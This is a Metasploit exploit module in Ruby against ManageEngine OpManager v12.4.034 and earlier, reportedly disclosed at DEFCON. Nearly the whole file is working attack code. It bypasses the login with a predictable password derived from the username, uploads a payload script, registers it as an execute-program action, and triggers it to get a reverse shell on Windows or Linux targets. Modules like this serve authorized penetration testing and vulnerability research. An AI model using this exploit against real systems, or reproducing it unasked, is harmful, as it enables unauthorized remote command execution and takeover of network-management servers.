##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
'Description' => %q(
This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
It performs authentication bypass and executes commands on the server.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username', 'admin']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(host, port, cookie)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end
def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(host, port, cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# Password check vulnerability in Java Script :/
if res.body.include?('j_password.value=username')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)
if res && res.code == 302 or 303
print_good("Authentication bypass was successfully performed.")
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(am_host, am_port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
end